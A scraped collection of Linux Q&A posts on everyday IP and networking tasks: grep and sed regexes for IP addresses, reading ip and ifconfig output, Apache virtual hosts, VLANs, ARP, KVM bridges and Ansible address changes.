I need to be able to validate a group of IP addresses that will appear in a file that looks like this: IP_SUBNETS=['10.1.111.0','10.2.111.0','10.2.123.0'] I'd like to write a regular expression that will allow n number of ip addresses, as long as they are delimited by "," and have single quotes around them, and the entire "list" is opened and closed by square brackets. I've been able to find some bash examples of regular expressions but I'm having a hard time finding something that works for busybox. so far this is what i have: grep IP_SUBNETS myfile | cut -c 12- | grep '^\[[0-9].'But i can't seem to get the grouping right. aka one group per subnet. EDIT 1 #!/bin/sh iplist=['10.112.123.0'] pass="$(echo $iplist | grep -E '^\[(([0-9]{1,3}\.){3}[0-9]{1,3},)*([0-9]{1,3}\.){3}[0-9]{1,3}\]$'" echo "$pass"
busybox regular expression for group of IP addresses
It is indeed true that in the early years of the web, hosting multiple websites (different domains, subdomains of a single domain, etc) off a single IP was infeasible. However, in 1999, the transition to HTTP 1.1 began, and today HTTP 1.0 is rarely used (in fact HTTP 2 has become widespread but 1.1 is still common). HTTP 1.1 requests include a Host: header that allows the browser to specify the domain it's trying to reach. You can easily see this with curl, using the verbose flag to view the request you're sending: # curl -Iv http://google.com/ * Trying 2a00:1450:4025:402::64:80... * TCP_NODELAY set * Connected to google.com (2a00:1450:4025:402::64) port 80 (#0) > HEAD / HTTP/1.1 > Host: google.com > User-Agent: curl/7.68.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 301 Moved PermanentlyThe migration to encrypted websites (HTTPS, using SSL/TLS) complicated things, because the encryption handshake must happen before the HTTP rest (including Host: header) is sent, but multiple sites hosted from the same IP might use different encryption certificates. The current solution to this is SNI (Server Name Indication), an extension to TLS that is conceptually similar to the Host header: the requesting browser send the domain it's trying to connect to to the server early in the connection attempt so that the server can complete the encryption handshake properly.
I was quite curious how does Apache web server can detect a subdomain even when all the subdomains point to same IP address, since my understanding is that an IP address that cannot have a subdomain, and every domain name ultimately resolve to an IP address. Example: example1.domain.com resolves to => 192.24.17.65 take you to => example1 webpageexample2.domain.com resolves to => 192.24.17.65 take you to => example2 webpage
How does Apache webserver is able to detect CNAME
In bash this works: paste <(ip -o -br link) <(ip -o -br addr) | awk '$2=="UP" {print $1,$7,$3}'but it relies on the ip output being in the same order for link and addr. To be sure, you could use join with sort instead: join <(ip -o -br link | sort) <(ip -o -br addr | sort) | awk '$2=="UP" {print $1,$6,$3}'In sh command substitution isn't available, so it couldn't be quite as concise as this.
I use this command to get the name of my network interfaces and their mac address ip -o link | awk '$2 != "lo:" {print $2, $(NF-2)}' | sed 's_: _ _'out: enp2s0 XX:XX:XX:XX:XX:XX wlp1s0 YY:YY:YY:YY:YYand this one to get the IP: ip addr show $lan | grep 'inet ' | cut -f2 | awk '{ print $2}'out: 127.0.0.1/8 192.168.1.23/24or this one: ifconfig | grep "inet " | grep -Fv 127.0.0.1 | awk '{print $2}'or another: ifconfig | grep -E "([0-9]{1,3}\.){3}[0-9]{1,3}" | grep -v 127.0.0.1 | awk '{ print $2 }' | cut -f2 -d: | head -n1out: 192.168.1.23What command can I use to know (the order is not relevant):interface name | IPv4 address | MAC addressexample: enp2s0 192.168.1.23 XX:XX:XX:XX:XX:XXin a single line, but only from active interfaces (except lo) (for ubuntu 20.04)? I have tried this solution but it did not work for me
how do i get interface name, ip and mac from active interface only (except lo)
Your guest has one non-loopback interface, ens3; that’s the interface it uses to communicate with the host. On the host, the matching interface is the interface in the same network, which is virbr0 here. If you want to list the interfaces which are part of the bridge, run brctl show virbr0on the host. You can also match the routes in the guest to the host: the guest’s gateway will be the host. To see the routes, run ip route listThe default gateway is given on the “default” line, something like default via 192.168.122.1 dev ens3 proto static metric 100
I heard that a guest OS and a host OS in KVM can communicate via having network interfaces or IP addresses in the same private network. I also heard thatYou can see its IP addresses and network interfaces in the container and VM networks in ifconfig’s output.I show the outputs of ifconfig in a guest OS and a host OS below. Could you tell me which network interface or IP address in the guest OS corresponds to which in the host OS, and vice versa? Thanks. In a Debian guest OS via VMM/KVM, user@debian:~$ /sbin/ifconfig ens3: flags=4163<UP,BROADCAST,RUNNING,MULTICAS> mtu 1500 inet 192.168.122.202 netmask 255.255.255.0 broadcast 192.168.122.255 inet6 fe80::5054:ff:fe99:5eee prefixlen 64 scopeid 0x20<link> ether 52:54:00:99:5e:ee txqueuelen 1000 (Ethernet) RX packets 5504 bytes 4872073 (4.6 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 4199 bytes 559987 (546.8 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 20044lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1 (Local Loopback) RX packets 488 bytes 39360 (38.4 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 488 bytes 39360 (38.4 KiB) TX errors 0 dropped 0 overruns 0 carries 0 collisions 0In Lubuntu host OS: $ ifconfig docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255 ether 02:42:a6:79:a6:bc txqueuelen 0 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0enp0s25: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 ether txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device interrupt 20 memory 0xfc400000-fc420000 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 3102389 bytes 174723039 (174.7 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 3102389 bytes 174723039 (174.7 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0virbr0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.122.1 netmask 255.255.255.0 broadcast 192.168.122.255 ether 52:54:00:b1:aa:1f txqueuelen 1000 (Ethernet) RX packets 708 bytes 68468 (68.4 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 316 bytes 51806 (51.8 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0vnet0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet6 fe80::fc54:ff:fe99:5eee prefixlen 64 scopeid 0x20<link> ether fe:54:00:99:5e:ee txqueuelen 1000 (Ethernet) RX packets 257 bytes 28494 (28.4 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 23514 bytes 1240204 (1.2 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0wlx8: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.1.97 netmask 255.255.255.0 broadcast 192.168.1.255 inet6 prefixlen 64 scopeid 0x20<link> ether 80:1f:02:b5:c3:89 txqueuelen 1000 (Ethernet) RX packets 1269625 bytes 1045069752 (1.0 GB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 646600 bytes 101897054 (101.8 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Which network interface or IP address in the guest OS corresponds to which in the host OS?
The following regex seems to accomplish what you need: \b(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])[-._](25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])[\-._](25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])[\-._](25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\b$ cat test.txt 127.0.0.10 127-0-0-10 127_0_0_10 256_5_10_1 10-10-100-1 192.168.100.1 $ grep -E '\b(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])[-._](25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])[-._](25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])[-._](25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\b' test.txt 127.0.0.10 127-0-0-10 127_0_0_10 10-10-100-1 192.168.100.1See https://www.regular-expressions.info/ip.html for an explanation of the regex. I have simply modified the \.s with [-._] so that it will match -, ., or _.
I need to process information dealing with IP address or folders containing information about an IP host. I need a pattern that can identify (match) IP addresses, whether an actual url, name of folder or data file . For example 127.0.0.10 127-0-0-10 127_0_0_10should all match. above. Is there any tokenizer regex to do this in bash?
How to detect dot (.), underscore(_) and dash(-) in regex [closed]
Unfortunately sedcannot run external commands while also passing in parameters taken from its input. This is a Bash script solution that should do for you: tail -f dnsmasq.log | { while IFS= read -r line ; do { [[ "${line}" =~ ": query[A]" ]] && printf '%s %s\n' "${line% *} " $(dig +short -x "${line##* }"); } || echo "${line}"; done ; }Broken down for explanation: (only for clarity purposes, it may not work when copied&pasted) tail -f dnsmasq.log | \ { \ while IFS= read -r line ; do \ # for each line read in from tail ... if [[ "${line}" =~ ": query[A]" ]] ; # if it has the literal string ': query[A]' then \ printf '%s %s\n' "${line% *} " \ # print it (purged of last field, which is the IP address) ... $(dig +short -x "${line##* }") \ #along with dig's output else \ # otherwise ... echo "${line}" \ # just print it all as it is fi \ done ; \ }
I am trying to replace an IP address in a dnsmasq logfile with its hostname. The logfile is being 'watched' with the command 'tail -f /var/log/dnsmasq.log' on the console and I want to pipe the output into sed to replace the IP address with the hostname on ONLY the lines that contain the text 'query'. The IP address is always at the end of these lines. An example line is: Apr 1 00:47:43 dnsmasq[1004]: query[A] gs-loc.apple.com from 10.1.1.188I believe the command would be in the form of: tail -f /var/log/dnsmasq.log | sed -e "s/'regex'/$(dig +short -x $1)/g"The 'regex' needs to identify the lines containing the string "query", extract the IP address from the end of that line and store it (somehow) in a variable - I used the notation $1 here - that is used in the replace expression with dig. UPDATE: I omitted to mention that the IP address will always be in the form 10.1.n.n
Use sed to replace IP address with hostname in log output
It first runs the ip command with the a argument, which, on Linux, is short-hand for ip address, which will output several stanzas of several lines corresponding to your network devices and their possible network addresses. That output is then sent to the egrep command, which is asked to match (print) lines of its input that match the given regular expression. The regular expression appears intended to match a superset of IPv4 addresses. The regular expression specifically matches:(grouped together) - "any single digit between 0 and 9: between 1 and 3 of those, followed by a period" -- and require three items of that group, in sequence, followed by a single digit between 0 and 9: between 1 and 3 of them.IP addresses would match this pattern; for example: 1.234.56.7 or 1.1.1.1, but non-IPv4 addresses would also match (if they showed up in ip a's output), such as: 999.888.777.666 or even 1.2.3.999.
ip a | egrep '([0-9]{1,3}\.){3}[0-9]{1,3}'Can somebody explain what the above command will do?
what does the following egrep command do in combination with the "ip a" command?
Some notes on your question, maybe it helps, hopefully:~/.xinitrc is not the right place for these settings, see for example here, in the "ArchWiki" Don't fight your distribution, ArchLinux's system startup is configured via /etc/rc.conf, which is pretty neat. This includes the network configuration, see again the ArchWiki for details, especially the part on DHCP IP. Try to setup networking in the way it is described there and if this fails, it'd be good to have more information on the failure (logs, details about how it was configured). As you can see, the ArchWiki is a valuable resource :)By the way, the eht1 is just a typo, right? Oh, another reason for using the distribution-specific way to configure networking, you can simply use /etc/rc.d/network restart to reconfigure (as root), so there should be no need to reboot.
I am using latest Arch Linux. But whenever I start my PC, it sometimes gets an IP address but most of the time, it gives me stress. I am getting very confused, how can I make sure it is really setting DHCP IP? This is what I have: In rc.conf: DAEMONS=( ... network dhcpcd ) On system boot I have in ~/.xinitrc ip link set dev eth0 up ip link set dev eht1 up dhcpcd -t 100But now, I have rebooted 10 times, and I do not get any IP address. Yesterday, I had interfaces eth0, eth1, lo. After this strange problem of IP, now I am successfully boot back to my same box with the same configuration.I do not have any eth1 any more Network cable was connected to eth1 (eth0 was not used because it's in a very messy place where I have lots of USB and display cables connected)Why has my eth1 completely disappeared? I never saw this in CentOS or Fedora in my year of Linux driving experience.
How to set IP address automatically in Arch Linux?
You can't print the current address precedence on Linux, unfortunately. The default is hardcoded in glibc², possibly reflected by the comments in /etc/gai.conf, and possibly successfully overwritten with that same file. (By the way: source address selection is done by the kernel, destination address selection by glibc. -- And the kernel does indeed have an interface to list its current share of that RFC 3484/6724 table.)² Look for default_precedence in the source code.
I can print address' label via ip addrlabel and override label and precedence in /etc/gai.conf, but how to print current precedence in command line? In https://man7.org/linux/man-pages/man8/ip-addrlabel.8.html, it saysPrecedence is managed by userspace, and only the label itself is stored in the kernel.but how to print that? In windows, I can simply type: $ netsh int ipv6 show prefixpolicies Querying active state...Precedence Label Prefix ---------- ----- -------------------------------- 50 0 ::1/128 40 1 ::/0 30 2 2002::/16 20 3 ::/96 10 4 ::ffff:0:0/96 5 5 2001::/32How to do the same thing in Ubuntu? Thanks.
Is there way to print IPv6 address selection precedence in command line?
What constitutes a “network” (a set of endpoints which are reachable without the help of routers) is determined by the netmask here. Thus docker0 is on the 172.17.x.x network (and can talk to any 172.17.x.x endpoint in the same layer 2 network), lo is on the 127.x.x.x network, virbr0 is on the 192.168.122.x network (and can talk to any 192.168.122.x endpoint in the same layer 2 network), and wlx8 is on the 192.168.1.x network (I’ll let you fill in), and they’re all separate. The loopback network is special in that by default, all 127.x.x.x addresses correspond to the local host.Are docker0, lo and virbr0 are virtual network interfaces?Yes, they don’t correspond to physical network interfaces.Why are docker0 and virbr0 assigned private not loopback IP address?Because they are not loopback interfaces. Such interfaces are generally used to communicate with containers or VMs, which are separate (from a networking perspective, which is what concerns us here) from the local host.If private IP address can work like a loopback address, can lo be assigned a prviate instead of loopback IP address?No, private IP addresses don’t work like a loopback address. (They can be made to work in any way you want, but that’s for networking experts and people who design systems such as Istio with Envoy, which uses an interesting loopback trick for multi-cluster setups.)Loopback addresses are 127.*.*.*. Do they always form a network instead of being split into several smaller networks, as in the example?See my first point.192.168.*.* is a range of private IP addresses. Are they often split into several smaller networks, as in the example (wlx8 and virbr0)?Yes; again, see my first point.
Are docker0, lo and virbr0 are virtual network interfaces? Why are docker0 and virbr0 assigned private not loopback IP address? If private IP address can work like a loopback address, can lo be assigned a prviate instead of loopback IP address? Loopback addresses are 127.*.*.*. Do they always form a network instead of being split into several smaller networks, as in the example? 192.168.*.* is a range of private IP addresses. Are they often split into several smaller networks, as in the example (wlx8 and virbr0)? Thanks. $ ifconfig docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255 ether 02:42:a6:79:a6:bc txqueuelen 0 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 1552397 bytes 88437726 (88.4 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 1552397 bytes 88437726 (88.4 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0virbr0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 inet 192.168.122.1 netmask 255.255.255.0 broadcast 192.168.122.255 ether 52:54:00:b1:aa:1f txqueuelen 1000 (Ethernet) RX packets 123 bytes 12102 (12.1 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 39 bytes 4300 (4.3 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0wlx8: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.1.97 netmask 255.255.255.0 broadcast 192.168.1.255 inet6 fe80::a0df:c436:afb1:8b45 prefixlen 64 scopeid 0x20<link> ether txqueuelen 1000 (Ethernet) RX packets 991338 bytes 536052615 (536.0 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 618233 bytes 101520924 (101.5 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Why is some virtual network interface assigned private IP address, while some is assigned loopback IP address?
You have interfaces that are part of separate macvlans. The output of ip listed above indicates that your host has two interfaces configured such that each interface, eth0@if12 and eth1@if14 are each a member of a separate macvlans configured in bridge mode (one physical interface to multiple virtual network interfaces that each have a separate MAC address). I believe the notation is <interfaceNickname>@<macvlanID>. As far as why the interfaces are not always formatted as such I can see at least two possible reasons.The interface is not a part of a macvlan. The host does not have at least two interfaces that are on different macvlans.So if your container host has one macvlaned interface, it would not display the macvlanid just the interface nickname. But if your host had two interfaces that were on different macvlans, then at least one of the interfaces would be tagged with the <nic>@<macvlan> format. For a great explanation of LXC networking that dives into macvlan configuration check out this well written article (about a third of the way down, in the section entitled 'Macvlan', the author dives into your particular configuration).
I'm having hard time reading the output of ip a command. Normally it prints something like this: 3: enp0s25: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master br0 state UP group default qlen 1000 link/ether aa:bb:cc:dd:ee:ff brd ff:ff:ff:ff:ff:ffWhich is fine. But inside the LXC container (not always) I can see something like that: 11: eth0@if12: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000 link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 10.10.44.44/16 brd 10.10.255.255 scope global eth0 valid_lft forever preferred_lft forever inet6 fe80::24cb:a3ff:fefe:72cc/64 scope link valid_lft forever preferred_lft forever 13: eth1@if14: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000 link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 192.168.1.29/24 brd 192.168.1.255 scope global eth1 valid_lft forever preferred_lft forever inet6 fe80::b471:7eff:fea7:a8bc/64 scope link valid_lft forever preferred_lft foreverWhat is this @if1[2,4]? Moreover ifconfig always prints eth[0,1]
ip address "@" (at) in output
First, useless use of cat. Secondly, grep only searches; it does not change anything. You want sed here: $ sed -E 's/:[0-9]+.*/ /' input xyz 10.93.10.13 xyz 10.93.10.13 xyz 10.18.104.181 xyz 10.93.10.13 wxy 10.93.10.13 wxy 10.93.10.13 ADMIN loopback[127.0.0.1] ADMIN loopback[127.0.0.1] ADMIN loopback[127.0.0.1] ADMIN loopback[127.0.0.1]
I have a file with IP and port numbers. I would like to take out the port number and leave the IP alone. xyz 10.93.10.13:58160). xyz 10.93.10.13:58161). xyz 10.18.104.181:12466). xyz 10.93.10.13:60585). wxy 10.93.10.13:60586). wxy 10.93.10.13:60587). ADMIN loopback[127.0.0.1]:33955). ADMIN loopback[127.0.0.1]:33957). ADMIN loopback[127.0.0.1]:33961). ADMIN loopback[127.0.0.1]:33962).expected output xyz 10.93.10.13 xyz 10.93.10.13 xyz 10.18.104.181 xyz 10.93.10.13 wxy 10.93.10.13 wxy 10.93.10.13 ADMIN loopback[127.0.0.1] ADMIN loopback[127.0.0.1] ADMIN loopback[127.0.0.1] ADMIN loopback[127.0.0.1]i tried a lame procedure which won't work cat 1.txt|grep -v [:12312]thanks
Substitute numbers in a random IP address port with space
The IP address you see using ifconfig is your IP address for your local network only. It is a private address (192.168, right?) and can not be used to communicate over the internet. Your router performs Network Address Translation to convey data between sites you visit and your computer. What you and your friend would have to do is set up port forwarding between your modem/router/etc to your respective computers, both of which are running netcat.
I have tried using nc to chat and transfer files over my local network. However, I am having trouble doing it over internet (with my friend). While doing it locally, i would be using ifconfig to view my ip address. I see only one ipv4 address. I am pretty sure this address cannot be used to connect to my friend, as I have tried. Is it their public ip address we have to use in order to establish a connection? If yes, I've tried that too. My main problem is to find out which ip address to use for connection over internet. BTW I am listening while my friend is connecting to my open port.
Chat with friend using netcat
Please put .htaccess file under public_html folder with below code : # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> # END WordPressThen try to access your URL
I was following this tutorial to the letter and when I entered my domain name in the browser, I get my page. Except the fact that the browser never masks the domain to www.example.com, instead it changed the domain I just entered and showed me the subfolder preceded by the IP address, for example: 211.232.01.23/website/wordpress/index.php Already done:Installed apache via httpd Created sites-enabled and sites-available folders in /etc/httpd Created .conf file in sites-available with symbolic link Set up permissions to my directories using apache:apache user Added "IncludeOptional sites-enabled/*.conf" string to the end of httpd.conf file.I have not touched the htaccess file as the tutorial doesn't specify anything about it. My example.com.conf file: <VirtualHost *:80> ServerName www.example.com ServerAlias example.com DocumentRoot /var/www/example.com/public_html ErrorLog /var/www/example.com/error.log CustomLog /var/www/example.com/requests.log combined </VirtualHost>
Apache httpd on CentOS doesn't mask IP to domain
Simply: this is achieved by the ability of the OS to assign several IPv4 addresses to the same interface and by the use of routing tables and ARP - The Address Resolution Protocol. When a node (A) wants to talk to another node (B) knowing initially only the IPv4 address of B, first it consults its routing tables to find the shortest path to the destination (there might be much more complicated cases, e.g. round-robin policy, but for the simplicity we assume shortest path policy here). At this point A knows two more things: a) which source address to use and b) is a gateway device (G) involved into exchange. Then A checks if there is an entry for the B's IP address in its ARP cache table (if gateway to be used then A checks for and uses G's address here and in all subsequent requests). If the cached entry exists then A picks the MAC address to send the IP packet to from this entry. If there is no cached information, then A broadcasts the Address Resolution Request over the LAN segment to find out if someone knows the mapping of B(G)'s IP address into MAC address: 06:14:26.622107 7a:df:9c:b5:9a:ef > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 42: Request who-has 192.168.8.145 tell 192.168.8.160, length 28 06:14:26.665609 ac:ed:5c:76:01:38 > 7a:df:9c:b5:9a:ef, ethertype ARP (0x0806), length 60: Reply 192.168.8.145 is-at ac:ed:5c:76:01:38, length 46here is the host 192.168.8.160 tries to resolve a MAC address of 192.168.8.145. The response is sent back by any node who has the requested information. Please note, that the request is sent with broadcast MAC address (FF:FF:FF:FF:FF:FF) as destination address while the response is sent using unicast MAC address of the requester. This is to prevent flooding IP stacks of all nodes connected to the segment with unnecessary information. Now the node A receives the response and populates the ARP cache with an entry for B, so next time A needs to send an IP packet to B it does not need to query the network again. This way a node maintains the ability to talk to nodes on different IPv4 subnets physically connected to the same LAN segment using the same interface. Note, please, that your 192.168.1.1 node has no idea that your 192.168.1.2 has another, extra IP address assigned to its ethernet interface.
as described in the title, sorry I wanted to have a specific title and I could not get it specific and short and the same time, I did the following:Flashed a SD Card with OpenWRT to test it on a Raspberry Pi. OpenWRT has dhcp client disabled and puts a static IP in that image that does not correspond to my network IPv4 pattern. So I changed my host IPv4 to 192.168.1.2 in order to connect to 192.168.1.1. That worked. After logout I did dhclient on my host.Now I have access to all my network devices as before and still can connect to that OpenWRT machine I described above. I only have one NIC on my host system. So I wonder how this can work? 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether *somevalue* brd ff:ff:ff:ff:ff:ff inet 192.168.1.2/24 brd 192.168.1.255 scope global eth0 valid_lft forever preferred_lft forever inet 10.88.88.80/24 brd 10.88.88.255 scope global dynamic eth0 valid_lft 863229sec preferred_lft 863229sec inet6 XXX/64 scope global dynamic mngtmpaddr valid_lft forever preferred_lft forever inet6 XXX/64 scope global dynamic mngtmpaddr valid_lft 7013sec preferred_lft 1613sec inet6 XXX/64 scope link valid_lft forever preferred_lft forever
Changed my IPv4 to ssh into OpenWRT on rpi2 - did dhclient on my host afterwards- Now I have two IPv4 on one NIC - and it works! How?
Say we have serverA, serverB and serverC in our inventory. They need new IP adresses. So the first step is to create a file in your host_vars directory named like your server, and write the new IP adress as a variable into that. Example with file host_vars/serverA: new_ip: 10.1.0.27Do the same for serverB and serverC with their corresponding adresses. You can also extend this to the network interface names, if needed. Next, create a playbook which uses the previously defined variables. The ip module shown in this command does not exist, I am only demonstrating use of the variable here. See the Ansible Documentation if there is a module that fits your needs, otherwise use command/shell. - name: Change IP hosts: serverA serverB serverC become: yes tasks: - name: Set new IP adress ip: "{{ new_ip }}" interface: eth0Also, be prepared to lose connection from ansible. This question from SO shows how to handle that and keep the connection running.
I have set of servers which are moving to another network. I have a file which has hostnames and corresponding new IP addresses . I looked across how to achieve this using Ansible but that requires unique playbook for each server. Tried to script it but same issue. Can someone suggest eg. how to change the IP address of 2+ servers from an external server assuming you can login as root. Ansible playbook is preferred.
Changing ip addresses of multiple servers
If the input "host" file is just a file where each line is an IP address and you want to remove all IP addresses output by hostname -I from this file, try this: sed -i "$(hostname -I | sed 's/\([.:[:xdigit:]]\{1,\}\)/\/\1\/d;/g')" ./hostThe sed inside the command subsitution that hostname is piped to just converts the IP addresses output by hostname into sed delete commands for the outer sed. Sed's i flag tells sed to overwrite the file you give it. You might want to run it without this flag first to make sure the output is correct or give i an argument which tells sed to create a backup of the input file with that argument as a suffix, e.g. -i'~' will produce a backup called host~. If your version of sed doesn't have this flag, you can write to a temporary file and overwrite the original: sed "$(hostname -I | sed 's/\([.:[:xdigit:]]\{1,\}\)/\/\1\/d;/g')" ./host > /tmp/newhost && mv /tmp/newhost ./hostI think this is what i does behind the scenes anyway. If you really want to use an alias, note that aliases are only textually substituted when they are the first command word(s) in a command, so in your original example you would need to use command substitution, i.e. $(ownip), to give sed the output of actually executing that alias. Your error message means sed is trying to use "ownip" as its script, in which case is complains because sed has no 'o' command.
I created a ping sweep program that saves gotten IP to a file called hosts. Then, I wanted to delete my own IP address from the file without knowing what my IP address is, so I tried doing the following: alias ownip='hostname -I' sed ownip ./hostThis did not work, resulting in the following error: sed: -e expression #1, char 1: unknown command: `o'So how can I remove my own IP from the file?
deleting alias from file using sed
Let me quickly explain how VLANs work on the wire: A normal ethernet packet does not have a special field for the VLAN id. VLAN packets, on the other hand are a later extension that uses a new packet format which consists of all fields of the old format plus the additional tag, as definined in 802.1Q. So on the same wire, you can have untagged and tagged packets, and the interpretation is that they "just go past each other" and form different "virtual connections" on top of a physical connection. So what does your switch do when you define a VLAN group with tagged and untagged ports, say VID=100? If the switch receives packets tagged with 100 on ports 1-4, it will forward them (with the same tag) to (the other numbers in) ports 1-4, and it will strip the tag and forwarded them to ports 5-6. All other tags and untagged packets on port 1-4 are ignored. When it receives untagged packets on ports 5-6, it will forward them untagged to the other port in 5-6, and it will tag them with 100 and forwarded it to port 1-4. All tagged packets received on ports 5-6 are ignored (for this VLAN) Similarly for VID=201: If it receives packets tagged with 201 on ports 5-6 or 10-11, it will forwarded them tagged to the other ports in 5-6,10-11 and untagged 7-9 etc. What it doesn't do is to somehow forward packets "between" different VLANs: A packet tagged with 100 and received on port 1-4 is not retagged with 201 "on port 5-6" and forwarded to the VID=201 VLAN, and then again retagged with 101 and forwarded to port 12-15. The IP address that is assigned in the switch plays no role in this at all: A switch works on OSI level 2, where there are no IP addresses. DHCP issues are also totally unrelated, this is purely networking. So in your current configuration, there's no connection between VLAN 100 and VLAN 101 (unless you defined a routing table somewhere), they are completely separate, and hence the server and the client can't ping each other. If you can explain what you want to achieve with your network configuration, I can try and come up with a solution. Something along the lines: The client and server should always communicate, the left laptop should only communicate with the server and not the client, the right laptop should only communicate with the client and not the server, the laptops should only communicate via IPsec. All computers have only a single ethernet plug.Usually in this situation you'd use one VLAN for each "separate" connection, so each computer will be part of several VLANs. Note that is purely administrative, and not secure: Nothing prevents any "rogue" computer from pretending that it is on other VLANs as well. So please mention security concerns, if there are any.
I have been trying to configure the static IP addresses with Ubuntu 16.04 Dabian version. The network as follows in the graph I have been failing to ICMP (ping echoing) between the Client and the HTTP server. Is there a way I can connect both of the Server and Client through the router 192.168.1.11 and 192.168.1.12? My current network interface configuration for 192.168.1.11 and 192.168.1.12 which can ICMP between 192.168.0.16 and 192.168.2.16, but not to 192.168.0.17 from 192.168.1.12 nor to 192.168.2.17 from 192.168.1.11: # interfaces(5) file used by ifup(8) and ifdown(8) auto lo iface lo inet loopback# adding vlan 201 on eno1 - static IP address auto eno1.201 iface eno1.201 inet static address 192.168.1.12 netmask 255.255.255.0 vlan-raw-device eno1 post-up ip route add default dev eno1.201# Adding vlan 101 on eno1 - Static IP address auto eno1.101 iface eno1.101 inet static address 192.168.2.16 gateway 192.168.1.10 # switch IP address netmask 255.255.255.0 vlan-raw-device eno1My Client static address: # interfaces(5) file used by ifup(8) and ifdown(8) auto lo iface lo inet loopbackauto eno1 iface eno1 inet static address 192.168.2.17 netmask 255.255.255.0 network 192.168.2.0 gateway 192.168.2.16Note: I can connect the server and the client when I use IPsec, but when I stop IPsec, they don't ICMP each other. Edit: Basic Switch ports configurations
Network Interface VLAN static addressing
Remove ^ and $ from the command and use -o flag of grep command i.e.: grep -Eo '(^| )(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])($|[[:space:]])'Example: echo 'some text 198.54.34.6 and test' | grep -Eo '(^| )(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])($|[[:space:]])'output is: 198.54.34.6It will give spaces also try removing them using tr, like command1 | tr -d " ".
